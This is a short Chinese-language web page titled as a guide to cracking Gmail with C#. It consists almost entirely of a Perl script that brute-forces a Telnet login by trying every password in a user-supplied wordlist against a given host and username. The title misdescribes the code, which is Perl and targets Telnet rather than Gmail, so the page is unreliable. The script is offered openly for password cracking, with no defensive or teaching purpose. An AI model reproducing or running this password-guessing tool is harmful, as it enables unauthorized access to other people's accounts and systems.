c#如何破解gmail代码

大家一般想了解gmail的发送原理吧，现在让我们一起参考下如何破解gmail

<PRE>#!/usr/bin/perl
#c0dex by m0x.lk
#BtTel.- RE &amp; Hase
use Net::Telnet ();
system ("clear");
system ("cls");
system ("color f3");
print "\n";
print "\t\tC0dex by m0x.lk\n";
print "\n";
print "\t BtTel.- RE &amp; HaSe * darkc0de\n";
print "\n";
sleep 1;
print "Host: ";
$host=&lt;STDIN&gt;;
print "\n\n";
print "Username: ";
$username=&lt;STDIN&gt;;
print "\n\n";
print "Diccionario: ";
$dict=&lt;STDIN&gt;;
print "\n\n";
$i = 1;
open (D,"&lt;$dict") or die "Diccionario no encontrado\n";
while(&lt;D&gt;)
{
$try = $_;
    chomp $try;

        $t = new Net::Telnet (Host =&gt; $host);
        eval { $t-&gt;login($username, $try); };
        if ($@) {
print "\n";
print "[+] Obteniendo Pass";
print "\n";
                print $i++ . ": Fallo - $try\n";
        }
        else {
                print "'$try - $i intentos";
                last;
        }
        $t-&gt;close;
}
close(IN);</PRE>